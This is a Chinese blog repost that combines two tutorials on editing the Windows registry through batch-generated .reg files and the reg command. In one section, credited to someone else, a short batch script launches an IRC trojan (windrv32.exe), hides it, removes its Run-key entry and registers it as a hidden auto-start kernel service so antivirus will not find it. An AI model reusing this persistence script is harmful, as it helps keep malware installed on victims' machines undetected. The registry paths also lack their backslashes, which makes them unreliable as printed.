• 批处理操作注册表


    (转自:http://www.jb51.net/article/30077.htm)

    一,批处理生成.Reg文件操作注册表 
      用批处理中的重定向符号可以轻松地生成.reg文件。然后用命令执行.reg文件即可! 
      这里,着重要了解.reg文件操作注册表的方法。 
      首先.reg文件首行必须是:Windows Registry Editor Version 5.00。然后才是操作注册表的内容。 
      (就和从注册表中导出的文件格式一致) 

      1,创建子项 
      Windows Registry Editor Version 5.00 
      [HKEY_LOCAL_MACHINESOFTWARETTT] 

      在HKEY_LOCAL_MACHINESOFTWARE下创建了一个名字为“TTT”的子项。 

      2,创建一个项目名称 

      Windows Registry Editor Version 5.00 
      [HKEY_LOCAL_MACHINESOFTWARETTT] 
      "Name"="TTT BLOG" 
      "EMail"="taoether@gmail.com" 
      "URL"="http://www.taoyoyo.net/ttt/" 
      "Type"=dword:02 


      这样就在[HKEY_LOCAL_MACHINESOFTWARETTT]下新建了:Name、EMail、 URL、Type这四个项目 
      Name、Email、URL的类型是“String Value” 
      Type的类型是“DWORD Value” 

      (附:windows注册表值类型: 
      REG_SZ 字符串值 
      REG_BINARY 二进制值 
      REG_DWORD DWORD值 
      REG_MULTI_SZ 多字符串值 
      REG_EXPAND_SZ 可扩充字符串值) 

      3,修改键值 
      修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。就象新建一样即可。可以一次修改同一子项下的多个项目。 

      4,删除项目名称 

     
      Windows Registry Editor Version 5.00 
      [HKEY_LOCAL_MACHINESOFTWARETTT] 
      "EMail"=- 


      执行该脚本,"EMail"就被删除了; 

      5,删除子项 

     
      Windows Registry Editor Version 5.00 
      [-HKEY_LOCAL_MACHINESOFTWARETTT] 
      [-HKEY_LOCAL_MACHINESOFTWAREDDD] 


      执行该脚本,子项ttt和ddd就已经被删除了。 

      6,.reg文件执行方法 
      1)直接执行reg文件 
      2)regedit /s *.reg (/s不用确认) 
      3)reg import *.reg 

      7,其实,我们也可以用dll文件代替reg文件。 

      批处理例1: 

     
      @echo off 
      echo Windows Registry Editor Version 5.00 >t1.reg 
      echo. 
      echo [HKEY_LOCAL_MACHINESOFTWARETTT] >>t1.reg 
      echo "Name"="TTT BLOG" >>t1.reg 
      echo "EMail"="taoether@gmail.com" >>t1.reg 
      echo "URL"="http://www.taoyoyo.net/ttt/" >>t1.reg 
      echo "Type"=dword:02 >>t1.reg 
      regedit /s t1.reg 
      del /q t1.reg 
      pause 


      批处理2:(这个例子是别人的,不是很懂的说~~) 
      我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoft WindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启 动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例 (名为windrv32.exe) 

     
      @start windrv32.exe 
      @attrib +h +r windrv32.exe 
      @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll 
      @echo "windsnx "=- >>patch.dll 
      @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe 
      @regedit /s patch.dll 
      @delete patch.dll 
      @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动] 
      @REM 这样不是更安全^_^. 



      二,reg命令操作注册表 

      Reg命令是Windows提供的一下专门操作注册表的工具。可以方便的查询,添加,删除,导入,导出,比较等操作。具体可以参考系统自带的帮助…… 

    REG Operation [参数列表] 
    Operation [ QUERY | ADD | DELETE | COPY | 
    SAVE | LOAD | UNLOAD | RESTORE | 
    COMPARE | EXPORT | IMPORT ] 

      1,查询所有子项和值 
       
    D:>reg query hklmsoftwareTTT 

    ! REG.EXE VERSION 3.0 

    HKEY_LOCAL_MACHINEsoftwareTTT 
    Name REG_SZ TTT BLOG 
    EMail REG_SZ taoether@gmail.com 
    URL REG_SZ http://www.taoyoyo.net/ttt/ 
    Type REG_DWORD 0x2 

      2,查询特定项 

    D:>reg query hklmsoftware tt /v url 

    ! REG.EXE VERSION 3.0 

    HKEY_LOCAL_MACHINEsoftware tt 
    url REG_SZ http://www.taoyoyo.net/ttt/ 

      这里最难的是如何取得我们想要的字符串呢,困惑了好长时间,终于找到方法了。 
      原来也没有别的好办法,只能用find,for循环来截取我们需要的内容。(下面的例子如果看不懂,请参考本博客另外的文章:DOS循环-bat/批处理for命令详解之二) 
      例如我们要得到url的键值: http://www.taoyoyo.net/ttt/,可以用以下脚本: 

     
      @ECHO OFF 
      for /f "tokens=1,2,3,4,*" %%i in ('reg query "HKEY_LOCAL_MACHINEsoftware tt" ^| find /i "URL"') do SET "pURL=%%k" 
      echo TTT BLOG的URL值为:%pURL% 


      保存为Test.bat,运行结果如下: 

    D:>test.bat 
    TTT BLOG的URL值为:http://www.taoyoyo.net/ttt/ 

      不行了,家里的电脑不知为啥,在命令行中一运行“REG”命令(包括reg /?),CPU就占用100%,看任务管理器,CMD占用百分之八十多,不知道为啥…… 
      运行其他的命令就没有问题,包括regedit /s…… 

      查了一下,网上有说是中了木马的原因,但查了一下,也不象。既没有找到相关文件,而且运行其它的命令时,没有问题…… 
      先不搞了,正好手头有个REG命令详解,等会整理一下! 

      因为查毒,用自己做的Clear.bat清理了一下C盘,居然清理出1个G的空间来,原来只剩几百兆了……windows的垃圾真是多啊~~不要忘了经常清理一下啊! 

      再发布两个做好的批处理文件,可以自动监控OutLook Express,有需要的可以点击下载…… 
      1,OEMonitorCount.bat 功能:可以重设注册表中OE打开次数,避免超过100次时提示压缩 
      2,OEMonitorSize.bat 功能:可以监控Outlook Express邮件文件(*.dbx)大小,当大于指定大小时,生成报警日志。 

      这两个文件,可以加到启动组里,每次开机自动运行! 
      搞这两个主要是为了解决公司经常出现的一些问题: 
      1)经常有人的邮件文件超过几个G; 
      2)有时而且根据提示压缩后,可能出现邮件丢失。 

    (转自:http://hi.baidu.com/chenyaom/item/d354e326f6ddd34746996216)

    一、reg query
    查询某注册表项或值
    1.reg query keyname /v valuename
    显示valuename的值。
    比喻,我现在想查看我这系统是注册给哪个用户(系统属性里面的注册到..下面)
    可输入

    reg query "HKLMSoftwareMicrosoftWindows NTCurrentVersion" /v "RegisteredOwner"

    在结果中,REG_SZ 后面的就是注册用户了,如果想查询后直接显示注册用户而不显示多余信息,可结合for来实现

    @for /f "tokens=3 skip=4" %i in ('reg query "HKLMSoftwareMicrosoftWindows NTCurrentVersion" /v "RegisteredOwner"') do @echo 注册用户名是:%i

    结果就显示了,注册用户名是:用户名


    2.reg query keyname /ve
    查询默认值或空白值的名称。

    这个较少用,因为一般的默认值都是 数值未设置

    3.reg query keyname /s
    查询所有子项和值。

    和1一样,但这个查询的是整个子项和该项下的值

    二、reg add
    添加注册表项
    reg add keyname [/v valuename] [/t 类型] [/d 数据] [/f 不提示强行修改]
    例: REG ADD HKLMSoftwareMyCo /v Data /t REG_BINARY /d fe340ead
    添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)

    添加或是修改某个存在的注册表项
    参数 /v /t /d 位置不能调换,否则报错,/f可在 /v 前或是/d 后

    如,修改注册用户名为 morning ,可输入

    reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersion" /v "RegisteredOwner" /t REG_SZ /d morning /f

    三、reg delete
    删除注册表项和值
    reg delete keyname [/v vluename] [/f]

    如果不加 /v 参数,那么删除的是整个注册表项,如果加 /v 则删除该项下的 vluename 键

    如:reg delete "HKLMSoftwareMicrosoftWindows NTCurrentVersion",结果就是删除整个 CurrentVersion 项
    若加上 /v reg delete "HKLMSoftwareMicrosoftWindows NTCurrentVersion" /v "RegisteredOwner" 则删除的是 CurrentVersion 的键 RegisteredOwner

    四、reg copy 
    复制注册表的项和值
    reg copy 源 目标 [/s 复制所有子项和值] [/f 不提示,强行改写]

    和1差不多,只是将某个项或键的信息复制到另一个项或键上而已,跟文件的复制一样

    五、reg import 
    导入注册表文件
    reg import *.reg

    也可以用 regedit /s *.reg 来导入注册表信息文件

    六、reg export
    导出到文件
    例: REG EXPORT HKLMSoftwareMyCoMyApp AppBkUp.reg
    将注册表项 MyApp 的所有子项和值导出到文件 AppBkUp.reg
    导出某个项或是键的信息
    如果要导出整个注册表,那就用 regedit /e 保存路径

  • 相关阅读:
    JVM字节码-字节码进阶
    JVM字节码-Class文件结构
    CT03 Contest#10 equation 大力打表+讨论
    2021CT03 Contest#9 降智场
    妙妙题 noi.ac 2323 Connecting
    洛谷 P4774 [NOI2018] 屠龙勇士
    [模板] 扩展中国剩余定理
    洛谷 P1082 [NOIP2012 提高组] 同余方程
    洛谷 P1516 青蛙的约会
    2021牛客暑期多校训练营3 Kuriyama Mirai and Exclusive Or
  • 原文地址:https://www.cnblogs.com/FindSelf/p/3722739.html
Copyright © 2020-2023  润新知